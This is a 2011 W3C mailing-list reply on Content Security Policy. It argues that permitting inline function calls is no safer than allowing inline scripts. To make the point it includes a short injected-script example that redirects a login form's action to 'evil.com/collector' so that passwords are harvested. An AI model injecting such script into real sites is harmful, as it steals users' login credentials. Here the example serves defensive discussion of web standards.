W3C home > Mailing lists > Public > public-web-security@w3.org > February 2011

Re: CSP : inline functions ?

From: Daniel Veditz <dveditz@mozilla.com>
Date: Thu, 24 Feb 2011 11:22:28 -0800
Message-ID: <4D66AFF4.7070200@mozilla.com>
To: Devdatta Akhawe <dev.akhawe@gmail.com>
CC: public-web-security@w3.org
On 2/23/11 7:52 PM, Devdatta Akhawe wrote:
> CSP currently blocks all inline scripts and we have seen a lot of
> discussion about it.
> 
> Have we considered only allowing inline functions calls as a option --
> a middle ground between inline-scripts being enabled and disabled. I.E
> 
> <script> function(arg1,arg2,arg3) </script>

You mean harmless function calls like:

<script>
  document.getElementsByName("login_form")[0].
    setAttribute("action","https://evil.com/collector");
</script>

If you could inject that on Yahoo's login page you could steal
people's passwords when they try to sign in, as an example.

> will be allowed inline, no other inline script execution will be
> allowed. You still won't be able to do <script> .. javascript ...
> </script>.

So far the only credible middle-ground proposals to soften CSP's
current allow/dis-allow binary switch have been
 - "script-keys" (nonce)
 - allow inline script in the document <head> only

> The CSP spec at Mozilla
> (https://wiki.mozilla.org/Security/CSP/Specification) already makes a
> distinction between arbitrary code being eval'ed and function calls.
> For example, setTimeout is allowed with function names as arguments
> but not with strings. It seems this is similar.

Not very similar. Assuming the default inline script blocking both
the setTimeout() call and the function it's calling are in external
code files loaded from a domain the site has declared trusted. We
can't tell with eval() where the code came from: maybe it's safe
static code, maybe it's from generated content. Safe uses of eval()
can generally be re-written without eval (see
https://adblockplus.org/blog/five-wrong-reasons-to-use-eval-in-an-extension);
eval that uses page content is pretty equivalent to inline script.

CSP currently doesn't block a couple of other eval-ish things:
document.write() and setting innerHTML. Both can lead to XSS, but
hopefully that's greatly mitigated if you've blocked inline scripts.

> I feel like this simple change will make retrofitting legacy
> applications with CSP much easier.

Can you point to an example site that has inline <script> that only
consists of function calls? As shown above I don't believe this is
any safer than full inline scripts, but I'm also having a hard time
imagining that this helps legacy sites.

-Dan Veditz
Received on Thursday, 24 February 2011 19:23:40 GMT

This archive was generated by hypermail 2.2.0+W3C-0.50 : Thursday, 24 February 2011 19:23:41 GMT